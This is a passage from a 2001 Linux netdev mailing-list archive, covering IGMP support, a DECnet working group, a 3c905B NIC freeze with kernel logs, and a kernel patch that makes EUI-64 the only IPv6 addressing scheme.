do by default?, the 1/1 KAME scenario) which haven't been explicitly configured not to. Most of these are user-space decisions. Global "all"/forwarding (in ndisc/ra sense) toggle might help in a few scenarios though. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Wed May 2 07:18:56 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42EIuv06026 for netdev-outgoing; Wed, 2 May 2001 07:18:56 -0700 Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42EIrF06021 for ; Wed, 2 May 2001 07:18:53 -0700 Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f42EIL218847 for ; Wed, 2 May 2001 17:18:21 +0300 (EET DST) Received: from esebh03nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.1) with ESMTP id for ; Wed, 2 May 2001 17:18:51 +0300 Received: from nokia.com ([172.24.86.163]) by esebh03nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78) id JW3P39NT; Wed, 2 May 2001 17:18:51 +0300 Message-ID: <3AF01749.60F8BBB6@nokia.com> Date: Wed, 02 May 2001 16:18:49 +0200 From: Edlund Simon X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en,sv MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: IGMP v2 in linux Content-Type: multipart/mixed; boundary="------------6FB01663954BEC9F4ED05474" Sender: owner-netdev@oss.sgi.com Precedence: bulk This is a multi-part message in MIME format. --------------6FB01663954BEC9F4ED05474 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi all, does anyone now the details of the IGMP implementation in linux? I would like to know whether linux (2.4.x kernel) supports IGMP version 2, and to what extent. best regards, -- Simon Edlund, Nokia Home Communications Diskettgatan 11, SE-583 35 Linköping, Sweden Office: +46 13 4611123 mobile: +46 709 660643 --------------6FB01663954BEC9F4ED05474 Content-Type: text/x-vcard; charset=us-ascii; name="simon.edlund.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Edlund Simon Content-Disposition: attachment; filename="simon.edlund.vcf" begin:vcard n:Edlund;Simon tel;cell:+46 709 660643 tel;work:+46 13 4611123 x-mozilla-html:FALSE url:http://www.nokia.com/ org:
Nokia Home Communications;Media Terminals adr:;;Diskettgatan 11;583 35 Linköping;;;Sweden version:2.1 email;internet:simon.edlund@nokia.com x-mozilla-cpt:;-20488 fn:Simon Edlund end:vcard --------------6FB01663954BEC9F4ED05474-- From owner-netdev@oss.sgi.com Wed May 2 08:02:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42F2Dq08060 for netdev-outgoing; Wed, 2 May 2001 08:02:13 -0700 Received: from gw.chygwyn.com (IDENT:root@gw.chygwyn.com [62.172.158.50]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42F29F08057 for ; Wed, 2 May 2001 08:02:09 -0700 Received: (from steve@localhost) by gw.chygwyn.com (8.9.3/8.9.3) id QAA04531; Wed, 2 May 2001 16:04:23 +0100 From: Steve Whitehouse Message-Id: <200105021504.QAA04531@gw.chygwyn.com> Subject: Possible DECnet working group at OLS To: linux-decnet-user@lists.sourceforge.net, netdev@oss.sgi.com Date: Wed, 2 May 2001 16:04:23 +0100 (BST) Organization: ChyGywn Limited X-RegisteredOffice: 7, New Yatt Road, Witney, Oxfordshire. OX28 1NU England X-RegisteredNumber: 03887683 Reply-To: Steve Whitehouse X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I'm thinking of proposing a working group on the Linux DECnet networking stack and associated userland tools at Ottawa Linux Symposium this year but I'm not sure if there would be enough interest. If you are going to OLS and would be interested in this, please send me some email (privately). If I get enough responses and if it gets accepted by the OLS organisers then I'll post another message to let you know if its going ahead, Steve. From owner-netdev@oss.sgi.com Wed May 2 08:55:32 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42FtWG10687 for netdev-outgoing; Wed, 2 May 2001 08:55:32 -0700 Received: from zcamail04.zca.compaq.com (zcamail04.zca.compaq.com [161.114.32.104]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42FtTF10682 for ; Wed, 2 May 2001 08:55:30 -0700 Received: by zcamail04.zca.compaq.com (Postfix, from userid 12345) id CECE713D9; Wed, 2 May 2001 08:56:59 -0700 (PDT) Received: from excmun-gh01.eur.compaq.com (excmun-gh01.dem.cpqcorp.net [16.41.92.160]) by zcamail04.zca.compaq.com (Postfix) with ESMTP id A144C1203; Wed, 2 May 2001 08:56:57 -0700 (PDT) Received: by excmun-gh01.dem.cpqcorp.net with Internet Mail Service (5.5.2650.21) id ; Wed, 2 May 2001 17:55:17 +0200 Message-ID: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDCA@aeoexc1.aeo.cpqcorp.net> From: "Cabaniols, Sebastien" To: "'andrewm@uow.edu.au'" Cc: "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" Subject: [3com905b freeze Alpha SMP 2.4.2] FullDuplex issue ? Date: Wed, 2 May 2001 17:55:12 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C0D320.457E1940" Sender: owner-netdev@oss.sgi.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C0D320.457E1940 Content-Type: text/plain; charset="iso-8859-1" Hello, ******************************************************************** my hardware configuration is: 2 Alphaserver ES40 running kernel 2.4.2smp with 3com905b FastEthernet PCI The configuration is switched, 100 Full Duplex autonegotiation. ******************************************************************** I insert the 3c59x module with debug=7. I start an ftp transfer from machine A to B: machine A machine B ftp B ftpd answering get bigfile bigfile is 500 Megabytes, and transfer fine at 11 MegaBytes/s perfectly Now I want to stress/test fullduplex: machine A machine B ftp B ftp A ftpd answers to B ftpd answer to A get bigFile get bigFile2 The first of the above machines launching the get freezes. I include a file with my logs, the output of the crashed machine after reboot. I also include the output of uname -a, lspci -vx, vortex --aaee. Thanks for any help, If some information is missing there do not hesitate to ask. Sebastien Cabaniols ------_=_NextPart_000_01C0D320.457E1940 Content-Type: text/plain; name="log3Com.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="log3Com.txt" uname-a Linux es40-06 2.4.2smp #1 SMP Wed May 2 13:58:01 EDT 2001 alpha unknown =20 kernel log with debug=3D7 passed to modprobe May 2 16:45:52 es40-06 kernel: 3c59x.c:LK1.1.12 06 Jan 2000 Donald = Becker and others. http://www.scyld.com/network/vortex.html $Revision: = 1.102.2.46 $ May 2 16:45:52 es40-06 kernel: See Documentation/networking/vortex.txt May 2 16:45:52 es40-06 kernel: eth0: 3Com PCI 3c905B Cyclone 100baseTx = at 0x8400, 00:01:02:d9:94:f0, IRQ 32 May 2 16:45:52 es40-06 kernel: product code 'CG' rev 00.12 date = 09-22-00 May 2 16:45:52 es40-06 kernel: 8K byte-wide RAM 5:3 Rx:Tx split, = autoselect/Autonegotiate interface. May 2 16:45:52 es40-06 kernel: MII transceiver found at address 24, = status 786d. May 2 16:45:52 es40-06 kernel: 3c59x: Wake-on-LAN functions disabled May 2 16:45:52 es40-06 kernel: Enabling bus-master transmits and = whole-frame receives. May 2 16:46:07 es40-06 sysctl: error: 'net.ipv4.ip_always_defrag' is = an unknown key May 2 16:46:07 es40-06 sysctl: net.ipv4.ip_forward =3D 0 May 2 16:46:07 es40-06 sysctl: net.ipv4.conf.all.rp_filter =3D 1 May 2 16:46:07 es40-06 sysctl: kernel.sysrq =3D 0 May 2 16:46:07 es40-06 network: Setting network parameters: succeeded May 2 16:46:07 es40-06 ifup: SIOCADDRT: Network is unreachable May 2 16:46:07 es40-06 network: Bringing up interface lo: succeeded May 2 16:46:07 es40-06 kernel: eth0: using NWAY autonegotiation May 2 16:46:07 es40-06 kernel: eth0: MII #24 status 786d, link partner = capability 41e1, setting full-duplex. May 2 16:46:07 es40-06 network: Bringing up interface eth0: succeeded May 2 16:47:02 es40-06 ftpd[1225]: FTP LOGIN FROM es40-05.idris.domain = [10.1.1.5], toto May 2 16:47:29 es40-06 kernel: <74 ticks. May 2 16:47:29 es40-06 kernel: <7tart_xmit() May 2 16:47:29 es40-06 kernel: < e401. May 2 16:47:29 es40-06 kernel: <77>eth0: exiting interrupt, status = e000. May 2 16:47:29 es40-06 kernel: t size 66 status 60008042. May 2 16:47:29 es40-06 kernel: boomerang_rx(): status e001 May 2 16:47:29 es40-06 kernel: interrupt loop, status e401. May 2 16:47:29 es40-06 kernel: <7errupt, status e201, latency 3 ticks. May 2 16:47:29 es40-06 kernel: <_xmit() May 2 16:47:29 es40-06 kernel: ; Wed, 2 May 2001 09:13:50 -0700 Received: from kenzo.iwr.uni-heidelberg.de (IDENT:root@kenzo.iwr.uni-heidelberg.de [129.206.120.29]) by mail.iwr.uni-heidelberg.de (8.11.1/8.11.1) with ESMTP id f42GDhC25837; Wed, 2 May 2001 18:13:43 +0200 (MET DST) Received: from localhost (bogdan@localhost) by kenzo.iwr.uni-heidelberg.de (8.9.3/8.9.3) with ESMTP id SAA28244; Wed, 2 May 2001 18:13:43 +0200 Date: Wed, 2 May 2001 18:13:43 +0200 (CEST) From: Bogdan Costescu To: "Cabaniols, Sebastien" cc: "'andrewm@uow.edu.au'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" Subject: Re: [3com905b freeze Alpha SMP 2.4.2] FullDuplex issue ? In-Reply-To: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDCA@aeoexc1.aeo.cpqcorp.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001, Cabaniols, Sebastien wrote: > I insert the 3c59x module with debug=7. Why ? debug=7 is the highest debug level and produces _lots_ of debug data for high network activity. Do you have problems when insmod-ing without any option and use a higher debug level just to see what's going on? > The first of the above machines launching the get freezes. Why do you believe that the card/driver is responsible for the freeze ? The outputs that you provided show no problems to me. A duplex mismatch would not freeze a computer. You would get crappy transfer rates, usually some error messages from the driver, but everything should otherwise work. To verify the media settings, you might want to use mii-diag (from ftp.scyld.com). Sincerely, Bogdan Costescu IWR - Interdisziplinaeres Zentrum fuer Wissenschaftliches Rechnen Universitaet Heidelberg, INF 368, D-69120 Heidelberg, GERMANY Telephone: +49 6221 54 8869, Telefax: +49 6221 54 8868 E-mail: Bogdan.Costescu@IWR.Uni-Heidelberg.De From owner-netdev@oss.sgi.com Wed May 2 14:02:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42L2Lq02723 for netdev-outgoing; Wed, 2 May 2001 14:02:21 -0700 Received: from marduk.litech.org (IDENT:mail@marduk.cs.cornell.edu [128.84.154.54]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42L2KF02712 for ; Wed, 2 May 2001 14:02:21 -0700 Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 14v3lL-0002x9-00 for netdev@oss.sgi.com; Wed, 02 May 2001 17:02:19 -0400 Date: Wed, 2 May 2001 17:02:18 -0400 (EDT) From: Nathan Lutchansky To: Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001, Pekka Savola wrote: > On Tue, 24 Apr 2001, Matti Aarnio wrote: > > This issue seems to pop up every now and then. > > Would it not be usefull to switch from "explitely enable this" to > > "disable this, unless you want to use this obsolete form" > > > > Or for that matter, to have e.g. interface specific sysctl or > > some such to control the behaviour -- if the old form is desirable > > at all.. > > > > USAGI might have done something along these lines as well. > > I wholeheartedly agree. > > IPv6 is only used by the developers, hackers or early implementors at this > point. All of them have moved away from the obsolete addressing long time > ago. There is no reason to drag along old cruft much longer. I also agree. Not only are provider-based addresses obsolete and not used by anybody any longer, they are also a source of confusion to some users who either mistakenly don't enable EUI-64, or who enable both formats and are confused by the "double addresses" their interfaces receive. There is virtually no reason not to enable EUI-64 as the default and remove provider-based addresses entirely. -Nathan -- +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ From owner-netdev@oss.sgi.com Wed May 2 14:55:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42LtDK12734 for netdev-outgoing; Wed, 2 May 2001 14:55:13 -0700 Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42LtCF12731 for ; Wed, 2 May 2001 14:55:12 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id f42Lt9Z30531; Wed, 2 May 2001 15:55:09 -0600 Date: Wed, 2 May 2001 15:55:09 -0600 Message-Id: <200105022155.f42Lt9Z30531@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: BieshaarP@netscape.net (Peter Bieshaar) Cc: netdev@oss.sgi.com Subject: Re: possible suggestion for within the Linux kernel In-Reply-To: <652B5AAB.43CD19F0.0225591B@netscape.net> References: <17CEC8ED.094A580A.0225591B@netscape.net> <200105011632.f41GW9U12212@vindaloo.ras.ucalgary.ca> <652B5AAB.43CD19F0.0225591B@netscape.net> Sender: owner-netdev@oss.sgi.com Precedence: bulk [Please fix your MUA to wrap your lines at 72 characters] [Please quote first and put your response after the quoted material] Peter Bieshaar writes: > Richard Gooch wrote: > > > > Peter Bieshaar writes: > > > I got this email address from Alan Cox. I think I have a really > > > great idea to implement into the Linux kernel. > > > But can actually not find any place to talk with anybody about > > > this. It is about tcp_doors, a door equivalent like Solaris > 2.51 > > > is using but then built onto the tcp layer. > > > > > > It will have great impact into a lot of OS stuff like mem mngmnt, > > > IPC, function, security, a lot of other exceptions and stack > > > management to name a few. I want to know what your ideas are and how > > > something like this should be set up. > > > > What's the benefit to having tcp_doors? > > I think the benefit will be very much in environments where a couple > of little, probably embedded, CPU's can communicate with more > intelligence and faster. I think about the car-industry and possibly > droids. Both can be done with current technology but that will > always be a three steps communication, with doors it should go more > directly. You didn't answer the question. You just talked about where it is claimed to help. *How* will it help? Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From owner-netdev@oss.sgi.com Wed May 2 15:33:18 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f42MXI914117 for netdev-outgoing; Wed, 2 May 2001 15:33:18 -0700 Received: from isis.its.uow.edu.au (isis.its.uow.edu.au [130.130.68.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f42MXEF14114 for ; Wed, 2 May 2001 15:33:15 -0700 Received: from uow.edu.au (wumpus.its.uow.edu.au [130.130.68.12]) by isis.its.uow.edu.au (8.9.3/8.9.3) with ESMTP id IAA01080; Thu, 3 May 2001 08:32:50 +1000 (EST) Message-ID: <3AF08AE7.E36EC268@uow.edu.au> Date: Thu, 03 May 2001 08:32:07 +1000 From: Andrew Morton X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3-ac13 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Cabaniols, Sebastien" CC: "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" Subject: Re: [3com905b freeze Alpha SMP 2.4.2] FullDuplex issue ? References: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDCA@aeoexc1.aeo.cpqcorp.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk "Cabaniols, Sebastien" wrote: > > [ SMP Alpha dies running TCP Rx+Tx ] > Sebastien, I'd be suspecting the 2.4.2/Alpha kernel more than the ethernet driver. Are you able to reproduce this with more recent kernels? - From owner-netdev@oss.sgi.com Wed May 2 20:19:58 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f433Jwj21087 for netdev-outgoing; Wed, 2 May 2001 20:19:58 -0700 Received: from pneumatic-tube.sgi.com (pneumatic-tube.sgi.com [204.94.214.22]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f433JuF21084 for ; Wed, 2 May 2001 20:19:56 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by pneumatic-tube.sgi.com (980327.SGI.8.8.8-aspam/980310.SGI-aspam) via SMTP id UAA03806 for ; Wed, 2 May 2001 20:29:51 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA19786; Thu, 3 May 2001 13:17:39 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: Nathan Lutchansky cc: netdev@oss.sgi.com, davem@redhat.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-reply-to: Your message of "Wed, 02 May 2001 17:02:18 -0400." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 May 2001 13:17:38 +1000 Message-ID: <8972.988859858@kao2.melbourne.sgi.com> Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001 17:02:18 -0400 (EDT), Nathan Lutchansky wrote: >I also agree. Not only are provider-based addresses obsolete and not used >by anybody any longer, they are also a source of confusion to some users >who either mistakenly don't enable EUI-64, or who enable both formats and >are confused by the "double addresses" their interfaces receive. Patch against 2.4.4 to remove all traces of CONFIG_IPV6_EUI64 and CONFIG_IPV6_NO_PB. EUI64 is now the only supported address scheme. I have not even compiled this patch, it is "obviously correct", except for the change to rt6_redirect() in net/ipv6/route.c. Is that code still required, even when eui64 is the _only_ option? Index: 4.1/net/ipv6/Config.in --- 4.1/net/ipv6/Config.in Fri, 05 Jan 2001 13:42:29 +1100 kaos (linux-2.4/e/40_Config.in 1.1 644) +++ 4.1(w)/net/ipv6/Config.in Thu, 03 May 2001 12:55:12 +1000 kaos (linux-2.4/e/40_Config.in 1.1 644) @@ -1,10 +1,6 @@ # # IPv6 configuration # -bool ' IPv6: enable EUI-64 token format' CONFIG_IPV6_EUI64 -if [ "$CONFIG_IPV6_EUI64" = "y" ]; then - bool ' IPv6: disable provider based addresses' CONFIG_IPV6_NO_PB -fi if [ "$CONFIG_NETLINK" = "y" ]; then if [ "$CONFIG_RTNETLINK" = "n" ]; then bool ' IPv6: routing messages via old netlink' CONFIG_IPV6_NETLINK Index: 4.1/net/ipv6/route.c --- 4.1/net/ipv6/route.c Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/e/42_route.c 1.2 644) +++ 4.1(w)/net/ipv6/route.c Thu, 03 May 2001 12:54:42 +1000 kaos (linux-2.4/e/42_route.c 1.2 644) @@ -892,45 +892,6 @@ void rt6_redirect(struct in6_addr *dest, if (!(rt->rt6i_flags&RTF_GATEWAY)) goto out; -#if !defined(CONFIG_IPV6_EUI64) || defined(CONFIG_IPV6_NO_PB) - /* - * During transition gateways have more than - * one link local address. Certainly, it is violation - * of basic principles, but it is temporary. - */ - /* - * RFC 1970 specifies that redirects should only be - * accepted if they come from the nexthop to the target. - * Due to the way default routers are chosen, this notion - * is a bit fuzzy and one might need to check all default - * routers. - */ - - if (ipv6_addr_cmp(saddr, &rt->rt6i_gateway)) { - if (rt->rt6i_flags & RTF_DEFAULT) { - struct rt6_info *rt1; - - read_lock(&rt6_lock); - for (rt1 = ip6_routing_table.leaf; rt1; rt1 = rt1->u.next) { - if (!ipv6_addr_cmp(saddr, &rt1->rt6i_gateway)) { - dst_clone(&rt1->u.dst); - dst_release(&rt->u.dst); - read_unlock(&rt6_lock); - rt = rt1; - goto source_ok; - } - } - read_unlock(&rt6_lock); - } - if (net_ratelimit()) - printk(KERN_DEBUG "rt6_redirect: source isn't a valid nexthop " - "for redirect target\n"); - goto out; - } - -source_ok: -#endif - /* * We have finally decided to accept it. */ Index: 4.1/net/ipv6/ndisc.c --- 4.1/net/ipv6/ndisc.c Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/f/0_ndisc.c 1.1.1.3 644) +++ 4.1(w)/net/ipv6/ndisc.c Thu, 03 May 2001 13:05:29 +1000 kaos (linux-2.4/f/0_ndisc.c 1.1.1.3 644) @@ -242,14 +242,8 @@ static int pndisc_constructor(struct pne if (dev == NULL || __in6_dev_get(dev) == NULL) return -EINVAL; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_inc(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_inc(dev, &maddr); -#endif return 0; } @@ -261,14 +255,8 @@ static void pndisc_destructor(struct pne if (dev == NULL || __in6_dev_get(dev) == NULL) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); - ipv6_dev_mc_dec(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_dec(dev, &maddr); -#endif } @@ -550,14 +538,8 @@ static void ndisc_solicit(struct neighbo neigh_app_ns(neigh); #endif } else { -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(target, &mcaddr); - ndisc_send_ns(dev, NULL, target, &mcaddr, saddr); -#endif -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(target, &mcaddr); + addrconf_addr_solict_mult(target, &mcaddr); ndisc_send_ns(dev, NULL, target, &mcaddr, saddr); -#endif } } Index: 4.1/net/ipv6/addrconf.c --- 4.1/net/ipv6/addrconf.c Sat, 28 Apr 2001 18:38:57 +1000 kaos (linux-2.4/f/9_addrconf.c 1.3 644) +++ 4.1(w)/net/ipv6/addrconf.c Thu, 03 May 2001 13:05:45 +1000 kaos (linux-2.4/f/9_addrconf.c 1.3 644) @@ -639,14 +639,8 @@ static void addrconf_join_solict(struct if (dev->flags&(IFF_LOOPBACK|IFF_NOARP)) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_inc(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_inc(dev, &maddr); -#endif } static void addrconf_leave_solict(struct net_device *dev, struct in6_addr *addr) @@ -656,18 +650,11 @@ static void addrconf_leave_solict(struct if (dev->flags&(IFF_LOOPBACK|IFF_NOARP)) return; -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(addr, &maddr); + addrconf_addr_solict_mult(addr, &maddr); ipv6_dev_mc_dec(dev, &maddr); -#endif -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(addr, &maddr); - ipv6_dev_mc_dec(dev, &maddr); -#endif } -#ifdef CONFIG_IPV6_EUI64 static int ipv6_generate_eui64(u8 *eui, struct net_device *dev) { switch (dev->type) { @@ -702,7 +689,6 @@ static int ipv6_inherit_eui64(u8 *eui, s read_unlock_bh(&idev->lock); return err; } -#endif /* * Add prefix route. @@ -876,7 +862,6 @@ void addrconf_prefix_rcv(struct net_devi plen = pinfo->prefix_len >> 3; -#ifdef CONFIG_IPV6_EUI64 if (pinfo->prefix_len == 64) { memcpy(&addr, &pinfo->prefix, 8); if (ipv6_generate_eui64(addr.s6_addr + 8, dev) && @@ -886,15 +871,6 @@ void addrconf_prefix_rcv(struct net_devi } goto ok; } -#endif -#ifndef CONFIG_IPV6_NO_PB - if (pinfo->prefix_len == ((sizeof(struct in6_addr) - dev->addr_len)<<3)) { - memcpy(&addr, &pinfo->prefix, plen); - memcpy(addr.s6_addr + plen, dev->dev_addr, - dev->addr_len); - goto ok; - } -#endif printk(KERN_DEBUG "IPv6 addrconf: prefix with wrong length %d\n", pinfo->prefix_len); in6_dev_put(in6_dev); return; @@ -1224,7 +1200,6 @@ static void addrconf_dev_config(struct n if (idev == NULL) return; -#ifdef CONFIG_IPV6_EUI64 memset(&addr, 0, sizeof(struct in6_addr)); addr.s6_addr[0] = 0xFE; @@ -1232,18 +1207,6 @@ static void addrconf_dev_config(struct n if (ipv6_generate_eui64(addr.s6_addr + 8, dev) == 0) addrconf_add_linklocal(idev, &addr); -#endif - -#ifndef CONFIG_IPV6_NO_PB - memset(&addr, 0, sizeof(struct in6_addr)); - - addr.s6_addr[0] = 0xFE; - addr.s6_addr[1] = 0x80; - - memcpy(addr.s6_addr + (sizeof(struct in6_addr) - dev->addr_len), - dev->dev_addr, dev->addr_len); - addrconf_add_linklocal(idev, &addr); -#endif } static void addrconf_sit_config(struct net_device *dev) @@ -1514,14 +1477,8 @@ static void addrconf_dad_timer(unsigned /* send a neighbour solicitation for our addr */ memset(&unspec, 0, sizeof(unspec)); -#ifdef CONFIG_IPV6_EUI64 - addrconf_addr_solict_mult_new(&ifp->addr, &mcaddr); + addrconf_addr_solict_mult(&ifp->addr, &mcaddr); ndisc_send_ns(ifp->idev->dev, NULL, &ifp->addr, &mcaddr, &unspec); -#endif -#ifndef CONFIG_IPV6_NO_PB - addrconf_addr_solict_mult_old(&ifp->addr, &mcaddr); - ndisc_send_ns(ifp->idev->dev, NULL, &ifp->addr, &mcaddr, &unspec); -#endif in6_ifa_put(ifp); } Index: 4.1/include/net/addrconf.h --- 4.1/include/net/addrconf.h Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/I/25_addrconf.h 1.2 644) +++ 4.1(w)/include/net/addrconf.h Thu, 03 May 2001 13:05:04 +1000 kaos (linux-2.4/I/25_addrconf.h 1.2 644) @@ -158,16 +158,8 @@ static __inline__ u8 ipv6_addr_hash(stru * compute link-local solicited-node multicast address */ -static inline void addrconf_addr_solict_mult_old(struct in6_addr *addr, - struct in6_addr *solicited) -{ - ipv6_addr_set(solicited, - __constant_htonl(0xFF020000), 0, - __constant_htonl(0x1), addr->s6_addr32[3]); -} - -static inline void addrconf_addr_solict_mult_new(struct in6_addr *addr, - struct in6_addr *solicited) +static inline void addrconf_addr_solict_mult(struct in6_addr *addr, + struct in6_addr *solicited) { ipv6_addr_set(solicited, __constant_htonl(0xFF020000), 0, Index: 4.1/arch/arm/def-configs/ebsa110 --- 4.1/arch/arm/def-configs/ebsa110 Fri, 05 Jan 2001 13:42:29 +1100 kaos (linux-2.4/u/c/36_ebsa110 1.1 644) +++ 4.1(w)/arch/arm/def-configs/ebsa110 Thu, 03 May 2001 12:55:33 +1000 kaos (linux-2.4/u/c/36_ebsa110 1.1 644) @@ -192,8 +192,6 @@ CONFIG_IP_NF_COMPAT_IPCHAINS=m CONFIG_IP_NF_NAT_NEEDED=y # CONFIG_IP_NF_COMPAT_IPFWADM is not set CONFIG_IPV6=m -CONFIG_IPV6_EUI64=y -# CONFIG_IPV6_NO_PB is not set # # IPv6: Netfilter Configuration Index: 4.1/arch/sparc64/defconfig --- 4.1/arch/sparc64/defconfig Sat, 28 Apr 2001 10:05:23 +1000 kaos (linux-2.4/z/c/47_defconfig 1.10 644) +++ 4.1(w)/arch/sparc64/defconfig Thu, 03 May 2001 12:55:22 +1000 kaos (linux-2.4/z/c/47_defconfig 1.10 644) @@ -178,7 +178,6 @@ CONFIG_INET=y CONFIG_INET_ECN=y # CONFIG_SYN_COOKIES is not set CONFIG_IPV6=m -# CONFIG_IPV6_EUI64 is not set # CONFIG_KHTTPD is not set # CONFIG_ATM is not set Index: 4.1/arch/sparc/defconfig --- 4.1/arch/sparc/defconfig Mon, 26 Mar 2001 17:16:03 +1000 kaos (linux-2.4/P/c/7_defconfig 1.3 644) +++ 4.1(w)/arch/sparc/defconfig Thu, 03 May 2001 12:55:18 +1000 kaos (linux-2.4/P/c/7_defconfig 1.3 644) @@ -148,7 +148,6 @@ CONFIG_INET=y # CONFIG_INET_ECN is not set # CONFIG_SYN_COOKIES is not set CONFIG_IPV6=m -# CONFIG_IPV6_EUI64 is not set # CONFIG_KHTTPD is not set # CONFIG_ATM is not set Index: 4.1/Documentation/Configure.help --- 4.1/Documentation/Configure.help Tue, 24 Apr 2001 10:55:55 +1000 kaos (linux-2.4/Z/c/10_Configure. 1.1.2.8.2.10 644) +++ 4.1(w)/Documentation/Configure.help Thu, 03 May 2001 12:56:08 +1000 kaos (linux-2.4/Z/c/10_Configure. 1.1.2.8.2.10 644) @@ -4170,22 +4170,6 @@ CONFIG_IPV6 It is safe to say N here for now. -IPv6: enable EUI-64 token format -CONFIG_IPV6_EUI64 - 6bone, the network of computers using the IPv6 protocol, is moving - to a new aggregatable address format and a new link local address - assignment (EUI-64). Say Y if your site has upgraded already, or - has started to upgrade. - -IPv6: disable provider based addresses -CONFIG_IPV6_NO_PB - Linux tries to operate correctly when your site has moved to EUI-64 - only partially. Unfortunately, the two address 